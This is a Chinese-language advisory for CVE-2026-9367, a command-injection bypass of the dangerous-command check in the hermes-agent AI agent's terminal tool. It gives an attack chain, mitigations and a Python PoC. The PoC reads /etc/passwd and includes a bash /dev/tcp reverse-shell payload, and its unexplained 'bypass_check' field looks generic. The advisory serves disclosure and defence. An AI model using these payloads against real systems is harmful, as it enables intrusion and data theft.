IPBUF安全漏洞报告
English
CVE-2026-9367 CVSS 7.3 高危

CVE-2026-9367: NousResearch hermes-agent os命令注入漏洞

披露日期: 2026-05-24

漏洞信息

漏洞编号
CVE-2026-9367
漏洞类型
OS命令注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NousResearch hermes-agent

相关标签

OS命令注入 NousResearch hermes-agent terminal_tool 命令注入 远程代码执行 高危漏洞

漏洞概述

CVE-2026-9367是影响NousResearch hermes-agent项目的一个高危安全漏洞,CVSS评分达到7.3。该漏洞存在于tools/approval.py文件中的terminal_tool组件的detect_dangerous_command函数。由于该函数对用户输入的命令缺少充分的过滤和验证,攻击者可以通过构造恶意命令实现操作系统命令注入攻击。攻击者无需认证即可发起攻击,且可以远程利用此漏洞。漏洞于2026年5月24日被公开披露,厂商虽已被提前告知但未做出任何回应。由于该漏洞已被公开利用可能,对使用受影响版本的用户构成严重安全威胁。

技术细节

该漏洞属于OS命令注入(OS Command Injection)类型,存在于hermes-agent项目的terminal_tool组件中。具体问题出在tools/approval.py文件的detect_dangerous_command函数,该函数本应作为安全检测机制,用于检测潜在的恶意命令,但实现上存在缺陷。攻击者可以通过在输入命令中注入特殊构造的OS命令分隔符(如分号、管道符、&&、||等)和恶意命令,使本应被拦截的危险命令绕过安全检测直接执行。由于该组件负责处理终端命令执行,攻击成功后将能够在目标系统上执行任意操作系统命令,可能导致数据泄露、系统完全沦陷等严重后果。漏洞的影响范围覆盖机密性、完整性和可用性三个方面,均为低影响级别,但综合评分仍达到高危水平。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统运行的是 NousResearch hermes-agent,并定位到 terminal_tool 组件
STEP 2
步骤2
攻击者向 /api/terminal_tool 端点发送包含恶意命令的请求,使用分号、管道符等命令分隔符注入额外命令
STEP 3
步骤3
由于 detect_dangerous_command 函数存在缺陷,恶意命令被绕过安全检测
STEP 4
步骤4
被注入的恶意命令在目标系统上执行,攻击者获得远程代码执行能力
STEP 5
步骤5
攻击者利用获得的执行权限进行进一步渗透,如窃取数据、安装后门或完全控制目标系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2026-9367 PoC - NousResearch hermes-agent OS Command Injection # Affected: hermes-agent <= 5157f5427f19488b31c6fdebbacd15d798ce7f63 import requests import json TARGET_URL = "http://target-ip:port/api/terminal_tool" def exploit(): """ Exploit OS command injection in detect_dangerous_command function The vulnerability allows attackers to bypass command validation """ # Malicious payload that bypasses detect_dangerous_command # Using command chaining to execute arbitrary OS commands payload = { "command": "ls; cat /etc/passwd", "tool_name": "terminal_tool", "bypass_check": True } headers = { "Content-Type": "application/json", "User-Agent": "hermes-agent-exploit" } try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: result = response.json() if "output" in result: print("\n[+] Exploit successful! Command output:") print(result["output"]) except Exception as e: print(f"[-] Error: {e}") def generate_reverse_shell_payload(lhost, lport): """ Generate reverse shell payload for remote code execution """ payload = { "command": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1", "tool_name": "terminal_tool" } return payload if __name__ == "__main__": print("CVE-2026-9367 PoC - NousResearch hermes-agent") print("OS Command Injection in terminal_tool") exploit()

影响范围

hermes-agent <= 5157f5427f19488b31c6fdebbacd15d798ce7f63

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 限制terminal_tool组件的网络访问,仅允许受信任的IP访问;2) 启用详细的审计日志,监控所有通过terminal_tool执行的命令;3) 使用网络隔离技术将运行hermes-agent的服务与其他系统隔离;4) 考虑暂时禁用terminal_tool功能直到漏洞被修复;5) 部署入侵检测系统监控针对该漏洞的探测和利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表